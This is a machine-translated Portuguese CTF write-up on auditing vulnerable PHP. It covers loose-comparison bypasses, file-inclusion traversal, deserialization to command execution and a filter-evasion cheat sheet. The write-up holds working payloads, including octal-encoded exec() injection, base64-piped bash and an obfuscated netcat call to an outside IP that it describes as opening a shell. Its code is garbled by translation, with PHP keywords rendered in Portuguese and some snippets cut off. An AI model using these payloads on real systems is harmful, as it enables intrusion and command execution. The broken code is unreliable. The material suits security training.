Auditoria de código
Julgamento frouxo
Título: Atacar e defender o mundo
<?php destaque_file(__FILE__); $key1 = 0; $key2 = 0; $a = $_GET['a']; $b = $_GET['b']; if(isset($a) && intval( $a) > 6000000 && strlen($a) <= 3){ //O valor de a é maior que 6 milhões e o comprimento máximo é 3-->Notação científica //Os últimos seis dígitos de md5 de b são iguais para 8b184b if(isset($ b) && '8b184b' === substr(md5($b),-6,6)){ $key1 = 1; }else{ die("Emmm...Pense novamente") ; } }else{ die ("Emmm..."); } $c=(array)json_decode(@$_GET['c']); //Passe um array c e o valor de key=m não é um número e é maior que 2022-->m :2023a if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){ if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){ /* Para avaliar o valor com a chave n, n deve ser um array, o número de valores deve ser 2 e o primeiro valor de n deve ser um array. Isso é "n":[[],xxx] */ $d = array_search("DGGJ", $c["n"]);//n: Deve haver DGGJ nele, caso contrário die() diretamente $d === false?die("no..."):NULL; foreach($c["n"] as $key=>$val){//Loop para ver se o array contém DGGJ, se sim, die () diretamente. $val==="DGGJ"?die("não......"):NULL; } $key2 = 1; }else{ die("no hack"); } }else{ die("não" ); } if ($key1 && $key2){//Se key1 e key2 forem ambos 1, obtenha o sinalizador include "Hgfks.php"; echo "Você está certo". "\n"; eco $ bandeira; } ?> Emmm...
Linguagens de tipo fraco não têm restrições quanto ao tipo de dados das variáveis. As variáveis podem ser atribuídas a variáveis de qualquer outro tipo e as variáveis podem ser convertidas em dados de qualquer outro tipo.
Se você comparar um número com uma string ou comparar uma string contendo conteúdo numérico, a string será convertida em um valor numérico e a comparação será executada como um valor numérico.
e qualquer string é igual a true em comparação flexível
1 == "1admin";//true 0 == "admin1";//true 1 == "adm1in";//false 0 == "adm1in";//true //Se você usar false e null com string E quanto às comparações de array? //Eles não serão convertidos para o tipo int, então o resultado é assim: in_array(null, ['a', 'b', 'c']) //false in_array(false, ['a', 'b ', 'c']) //false //Há outro fenômeno estranho: in_array('a', [true, 'b', 'c']) // true array_search('a', [true, 'b ', 'c']) // int(0) //Porque em comparação livre, qualquer string é igual a true.
?a=6e9&b=53724&c={"m":"2023a","n":[[],0]}
Análise:
- A notação científica 6e9 é maior que seis milhões
- Os últimos seis dígitos do valor md5 de 53724 são 8b184b
- c[] é uma matriz
c["m"]=="2023a"
Maior que 2023 e não um número- c[] tem dois pares de valores-chave que satisfazem
count($c["n"]) == 2
c["n"]==[[],0]
satisfazeris_array($c["n"][0]
c["n"]==[[],0]
0 in pode ser satisfeito$d = array_search("DGGJ", $c["n"]);
, 0 corresponde a "DGGJ"
Outros tipos fracos
desvio json
<?php if (isset($_POST['message'])) { $message = json_decode($_POST['message']); $chave="*********"; if ($mensagem->key == $key) { echo "flag"; }else { echo "falha"; } }else{ echo "~~~~"; } ?>
A função json_decode() irá descriptografar os parâmetros em um array e determinar se eles são iguais ao valor da chave. Como não sabemos o valor da chave, podemos usar este método para contorná-la 0=="admin"
.
ignorar array_search
$c=(array)json_decode(@$_GET['c']); if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){ if(is_array( @$c["n"]) && count($c ["n"]) == 2 && is_array($c["n"][0])){ $d = array_search("DGGJ", $c["n"]); $d === falso?die("não..."):NULL; foreach($c["n"] as $key=>$val){ $val==="DGGJ"?die("não......"):NULL; } $chave2 = 1; }else{ morrer("sem hack"); } }else{ morrer("não"); }
Introdução ao array_search no manual oficial
array_search misto (misto $needle, array $haystack [, bool $strict = false])
- $agulha - obrigatório
- $ palheiro - obrigatório
- $strict —— opcional: o padrão é falso, se definido como verdadeiro, a filtragem estrita será executada
Função: A função determina se o valor em $haystack existe em $needle e retorna a chave do valor, se existir.
desvio de strcmp
<?php $senha="***************" if( isset($_POST['senha']) ){ if(strcmp($_POST['senha'], $ senha) == 0) { echo "Certo!!! login bem sucedido"; saída(); } else { echo "Senha errada.."; } ?>
strcmp() compara duas strings e retorna 0 se forem iguais.
Não sabemos o valor de $password. O valor aceito julgado por strcmp deve ser igual a $password. O tipo esperado passado por strcmp é um tipo string. Podemos ignorá-lo passando password[]=xxx.
O arquivo contém
php://filtro
string.rot13
string.rot13 executa uma conversão ROT13 em uma string.A codificação ROT13 simplesmente substitui a letra atual pela 13ª letra do alfabeto, ignorando caracteres não alfabéticos .
php://filter/string.rot13/resource=flag.php
string.tolower
Converter string em minúscula
php://filter/string.strip_tags/resource=flag.php
string.strip_tags
string.strip_tags remove tags HTML e PHP de uma string e tenta retornar a string str fornecida com caracteres nulos, tags HTML e PHP removidas.
php://filter/string.strip_tags/resource=flag.php
convert.base64-encode&convert.base64-decode
php://filter/convert.base64-encode/resource=flag.php
convert.quoted-printable-encode & convert.quoted-printable-decode
Converter em caracteres imprimíveis
php://filter/convert.quoted-printable-encode/resource=flag.php
converter.iconv.*
Este filtro requer que o PHP suporte o iconv, que é compilado por padrão.
Usar filtros convert.iconv.* é equivalente a usar iconv()
funções para processar todos os dados de fluxo.
convert.iconv.<codificação de entrada>.<codificação de saída> convert.iconv.<codificação de entrada>/<codificação de saída>
UCS-4* UCS-4BE UCS-4LE* UCS-2 UCS-2BE UCS-2LE UTF-32* UTF-32BE* UTF-32LE* UTF-16* UTF -16BE* UTF- 16LE* UTF-7 UTF7-IMAP UTF-8* ASCII* EUC-JP* SJIS* eucJP-win* SJIS-win*
Por exemplo: Converter conteúdo da codificação UCS-2LE para UCS-2BE
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=2.php
zlib.deflate
php://filter/zlib.deflate/resource=flag.php
zlib.inflate
php://filter/zlib.deflate|zlib.inflate/resource=flag.php
aquecimento
Link da pergunta: Mundo de Ataque e Defesa
<?php destaque_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"];// Lista de permissões if (! isset($page) || !is_string($page)) { echo "você não consegue ver";//A página passada deve ser uma string return false; } if (in_array($page) , $whitelist)) {//Se a página estiver na lista de permissões, retorne 1 return true; } $_page = mb_substr(//Função de truncamento de string $page, 0, mb_strpos($page . '?','?')//Retorna a posição onde o primeiro "?" aparece na página );//Para resumir, o valor antes do primeiro ponto de interrogação é atribuído à variável $_page if (in_array($_page, $whitelist)) { return true; } //Se $_page estiver na lista de permissões, retorne 1 $_page = urldecode($page); //Decodifique a URL da página e atribua-a a $_page $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ) ; // A função é a mesma acima if (in_array($_page, $whitelist)) { //Enquanto _page estiver na lista de permissões (ou seja, enquanto o conteúdo entre os dois pontos de interrogação estiver na lista de permissões, ele retornará true) return true; } echo "você não pode ver"; return false; } } ( !vazio($_REQUEST['arquivo']) && is_string($_REQUEST['arquivo']) && emmm::checkFile($_REQUEST['arquivo'])//checkfile返回值为1 ) { include $_REQUEST['arquivo']; saída; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>
Primeira verificação: se a página estiver na lista de permissões, retorne 1 diretamente
A segunda verificação: primeiro adicione um ponto de interrogação no final da página, depois atribua o conteúdo antes do primeiro ponto de interrogação à variável $_page para verificar se está na lista de permissões e retorne 1 se estiver.
A terceira verificação: decodifique o URL da página, adicione um ponto de interrogação no final e atribua o conteúdo antes do primeiro ponto de interrogação a $_page, depois verifique se está na lista de permissões e retorne 1 se estiver.
Se 1 for retornado, entre na função include() e use a vulnerabilidade de inclusão de arquivo para obter o sinalizador.
hint.php nos avisou que o sinalizador é ffffllllaaaagggg
/?file=hint.php?ffffllllaaaagggg
Aqui, ao inserir a segunda verificação, 1 é retornado e você pode inserir a função include(). No entanto, atualmente não sabemos em qual diretório o arquivo de sinalização está. Precisamos encontrá-lo camada por camada. A carga final: /?file=hint.php? ../../../../../ffffllllaaaagggg
Nota: A função include() não se preocupa com outros arquivos quando há ../ no caminho, portanto apenas este arquivo de flag é incluído no final.
Desserialização
Métodos mágicos comuns
- __construir()
Chamado automaticamente quando uma classe é instanciada
- __distruct()
Chamado automaticamente quando uma classe é destruída
- __chamar()
Chamado automaticamente ao chamar um método que está inacessível ou não existe (semelhante a lançar uma exceção)
- __callStatic()
Chamado automaticamente ao chamar um método estático inacessível ou inexistente
- __pegar()
Chamado automaticamente ao acessar uma propriedade inacessível ou inexistente (semelhante a lançar uma exceção)
- __definir()
Chamado automaticamente ao atribuir um valor a um atributo que não pode ser acessado ou não existe. O primeiro parâmetro obterá automaticamente o nome do atributo a ser atribuído, e o segundo parâmetro obterá automaticamente o valor.
- __isset()
Este método é chamado automaticamente quando isset() ou vazio() é julgado por um atributo que não pode ser acessado ou não existe.
- __unset()
Este método é chamado automaticamente quando unset() é julgado por um atributo que não pode ser acessado ou não existe.
- __dormir()
Chamado automaticamente ao serializar serialize()
- __acordar()
Chamado automaticamente quando unserialize() é executado
- __para sequenciar()
Chamado automaticamente quando um objeto é usado como string
- __invocar()
Quando um objeto é chamado com um método de função, o método é chamado automaticamente (também semelhante a lançar uma exceção)
- __set_state()
Este método é chamado automaticamente ao exportar uma classe, e seu parâmetro 1 obterá automaticamente as propriedades da classe organizadas no formato array('property'=>value,...)
- __debuginfo()
Usar var_dump() para ler o objeto irá acionar o método mágico
- __unserialize()
- __serialize()
Se uma classe tiver __unserialize() e __wakeup(), então o conteúdo em __unserialize() será executado, mas __wakeup() não
- __clone()
O método clone() é chamado automaticamente quando o objeto é copiado.
Copo de tripé líquido
<?php include("flag.php"); destaque_file(__FILE__); class FileHandler { protected $op;//protegido modificador protegido, um membro de classe definido como uma classe protegida pode ser protegido por si mesmo e por suas subclasses e acesso à classe pai protected $filename; protected $content; function __construct() {//Constructor $op = "1"; $filename = "/tmp/tmpfile"; $content = "Olá, mundo!"; $this->process();//->Object chama a função da classe } public function process() {//método de processo if($this->op == "1") { $this-> write(); //Se op=1, execute a função write } else if($this->op == "2") {//Observe que esta é uma comparação fraca $res = $this->read(); //Se op=2, execute a leitura A função concluirá a operação Atribuição de valor res e, em seguida, colocará $ res na função de saída $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this- >content))//Determine se o nome do arquivo e o conteúdo estão vazios { if(strlen((string)$this->content) > 100) {//Determine se o comprimento do conteúdo é maior que 100 $this->output(" Muito longo! "); die(); } $res = file_put_contents($this->filename, $this->content);//file_put_contents grava uma string no arquivo $res = ""; if(isset($this->filename)) { if($res) $this->output("Successful!"); else $this->output("Falha!"); } else { $this->output("Falha!"); } } função privada read() { $res = file_get_contents($this->filename); } retornar $res; } saída de função privada($s) {//输出函数 echo "[Resultado]: if(! if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
Processo de execução de código
Nota: A função __construct() não será chamada automaticamente, mas __distruct() será chamada automaticamente.
is_valid() Os códigos ascii de todos os caracteres devem estar no intervalo [32, 125]-->unserialize()-->__distruct() Se op for igual à string 2, altere-o para string 1-->process() deixe op igual à string 2, você pode ler o arquivo -> read() -> file_get_contents()
Ideias
Obviamente, o ponto mais crítico é a inspeção da operação por __distruct() e process().
Mas notamos que __distruct() é uma verificação de tipo forte para op, enquanto process() é uma verificação de tipo fraca. Queremos que não seja igual à string 2 em __distruct() mas igual à string 2 em process()
Então podemos usar a comparação de tipos fortes e fracos para tornar op igual ao número 2, porque o número 2 não é fortemente igual à string 2 (em __distruct()) e o número 2 é fracamente igual à string 2
No entanto, deve-se observar que existem caracteres não imprimíveis após a serialização de atributos de tipo protegido. Haverá %00*%00 caracteres. O código ASCII de %00 caracteres é 0, portanto, eles não podem passar na verificação is_valid() acima . %00 caracteres O código ascii é 0, portanto não é exibido. Haverá um * extra na frente da variável.
<?php class FileHandler { public $op = 2; public $filename = "flag.php"; public $content; //Como a função destruct mudará o conteúdo para vazio, o valor do conteúdo é arbitrário (mas deve satisfazer is_valid () requisitos de função) } $a = new FileHandler(); $b = serialize($a); echo $b; ?>
carga útil final
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"nome do arquivo";s:8:"flag.php";s:7:"content";N ;}
Copa do Artesão de Jiangsu
<?php class facilidade{ private $method; private $args; //Atribuir um valor à variável e atribuir os parâmetros passados ao método e aos argumentos por sua vez function __construct($method, $args) { $this->method = $ method; $this->args = $args; } //Destrua a função. Se o método tiver o valor ping, chame esta função ping() com o parâmetro args function __destruct(){ if (in_array($this->method , array ("ping"))) { call_user_func_array(array($this, $this->method), $this->args); } } // execução do comando exec(), ou seja, usando args como um comando para execute function ping( $ip){ exec($ip, $result); var_dump($result); } //Muitos caracteres são filtrados função waf($str){ if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) { return $ str ; } else { echo "don't hack"; } } //Método mágico de desserialização, comparação de lista negra de dados recebidos caractere por caractere function __wakeup(){ foreach($this->args as $k => $v) { //=>Par chave-valor do link, onde k é a chave e v é o valor $this->args[$k] = $this->waf($v); } } } $ ctf = @ $_POST[ 'ctf']; //Isso nos lembra que existe um processo de decodificação base64 na desserialização em segundo plano, então precisamos codificar e depois POST @unserialize(base64_decode($ctf)); ?>
Processo de execução de código
Passe a string ctf-->base64 decoding-->__construct()-->__wakeup()-->waf()-->unserialize()-->__destruct()-->call_user_func_array()-->exec ()
aprendizagem funcional
- exec(command,array): usado para executar um programa externo, ou seja, executar um comando recebido; armazenar os resultados da execução no array
- var_dump(): usado para determinar o tipo e comprimento de uma variável e gerar o valor da variável
- call_user_func_array():
(1) call_user_func_array (string, array) retorno de chamada da função global: string representa o nome da função a ser chamada, array é a lista de parâmetros, que é passada para a função chamada em ordem.
(2) Retorno de chamada do método estático da classe call_user_func_array(array(class_name,function_name),value):
class_name e function_name formam um array, que é o nome da classe e o nome da função respectivamente, e value ainda é a lista de parâmetros.
Ideia: O objetivo final é deixar a página executar o comando que demos, o que significa que a função exec() deve finalmente entrar em vigor -> deve chamar ping() -> deve usar call_user_func_array() -> deve passar Um objeto serializado com método ping e args o comando que desejamos. Resumindo, não é difícil resolver as seguintes operações:
1. Instancie uma facilidade, determine o tipo de parâmetro, serialize e passe em base64 para teste
2. O teste é eficaz e prova que a ideia está correta. Em seguida, precisamos encontrar uma maneira de inserir códigos perigosos, que é contornar o WAF.
geração de carga útil
<?php $a = array('a'=>'l""s${IFS}f""lag_1""s_here'); $carga útil = nova facilidade("ping",$a); $resultado = serialize($payload); eco base64_encode($resultado); ?>
Como ignorar a filtragem de caracteres
- Insira ${Z}
- Inserir "" caractere nulo
Como ignorar a filtragem de espaços em branco
no Linux
- {gato, bandeira.txt}
- gato${IFS}flag.txt
- gato$IFS$9flag.txt
- gato<flag.txt
- gato<>flag.txt
- kg=$'\x20flag.txt'&&cat$kg
(\x20 é convertido em uma string e é um espaço, que é habilmente contornado pelo uso de variáveis)
sob janelas
(A praticidade não é muito ampla, então apenas o comando type pode ser utilizado)
- tipo.\flag.txt
- tipo, bandeira.txt
- eco, 123456
Matriz encontrada(1) { [0]=> string(25) "flag_831b69012c67b35f.php" }
Embora o caminho seja obtido, o acesso direto está em branco e requer cat. No entanto, a string pode ser ignorada, mas como ignorar "/"?
Novo conhecimento: a codificação Unicode pode ser executada como um comando no Linux
Octal\154-->Decimal 108-->código ascii-->Caracter I
Converta o comando em número octal e depois passe-o
O comando é convertido em código de linguagem C octal:
#include <stdio.h> int main(){ char site[]="cat flag_1s_here/flag_831b69012c67b35f.php"; for(int i = 0; i < tamanho do site / tamanho do site[0]; i++ ){ printf("\\%o",site[i]); } retornar 0; }
obtive a resposta:\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160
carga útil final
$a = array('a'=>'$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")');
Ao executar, printf será executado primeiro para restaurar nosso comando original (que foi comparado à lista negra neste momento) para obter o sinalizador.
Ignorar filtragem
Filtre palavras-chave como gato
- c""at fl''ag.tx""t
- c\at fl\at.tx\t
- ca$1t fl$1ag.t$1xt
espaços de filtro
- ${IFS}
- <>
- %09 (aplicável apenas ao ambiente PHP)
Ignorar lista negra
- Emenda usando variáveis de shell
a=c;b=at;c=fl;d=ag;e=.txt;$a$b $c$d$e;
- Use crases para agrupar o comando codificado em base64
`echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d`
- Passe o comando codificado em base64 para bash
echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d | bash
Ignorar curinga
/???
Ele procurará /
arquivos com comprimento de três caracteres no diretório. Em circunstâncias normais, ele os encontrará /bin
e, em seguida, /?[a][t]
os combinará primeiro /bin/cat
. O comando cat será chamado com sucesso e, em seguida, curingas normais poderão ser usados para combinar os arquivos com ser lido, como flag. O comprimento do nome do arquivo txt é 8. Se você usar 8 '?', este comando lerá todos os arquivos com comprimento 8.
/???/?[a][t] ?''?''?''?''?''?''?''?
/???/[m][o]?[e] ?''?''?''?''?''?''?''?
Até inicie um shell:
/???/[n]?[t]??[t] 192.168.1.3 4444
desvio de comprimento
Use >> para adicionar uma parte do comando ao arquivo por vez
echo -n "cmd1" > r;echo -n "cmd2" >> r;echo -n "cmd3" >> r;echo "cmd4" >> r;
Em seguida, cat r | bash
execute-o usando
Execute com nova linha ou ls -t:
ca\t sinalizador.t\xt
Use sh a para executar o comando cat flag.txt
ls -t pode gerar nomes de arquivos na ordem inversa do tempo de criação:
Então pode haver> "ag"> "fl\\"> "t \\"> "ca\\"
e então usels -t>s
Neste momento, o conteúdo do arquivo em s ésca\t \fl\ag\
Descriptografar
Link da pergunta: Mundo de Ataque e Defesa
<?php $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; function encode($str){ $_o=strrev($str);//Inverta a string for($_0=0;$_0<strlen($_o);$_0++ ) {//Para cada caractere na string $_c=substr($_o,$_0,1); $__=ord($_c)+1;//ascii muda um bit para a direita $_c=chr($ __ ); $_=$_.$_c; } return str_rot13(strrev(base64_encode($_)));//codificação base64 } destaque_file(__FILE__); ?>
Processo de criptografia:
Reverter -> Deslocar para a direita 1 -> base64 -> Reverter -> Deslocar para a esquerda 13 oustrrev(右移(base64(strrev(str_rot13(明文)))))
Observe que ao descriptografar, você deve começar pelos colchetes externos e descriptografar camada por camada.
Descriptografia:
<?php $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; função decodificar($str){ $_o=base64_decode(strrev(str_rot13($str))); for($_0=0;$_0<strlen($_o);$_0++){ $_c=substr($_o,$_0,1); $__=ord($_c)-1; $_c=chr($__); $_=$_.$_c; } return strrev($_); } echo decodificar($miwen); ?>
Pode haver caracteres invisíveis no sinalizador de saída, portanto, se o envio estiver incorreto, basta digitá-lo novamente e enviar novamente.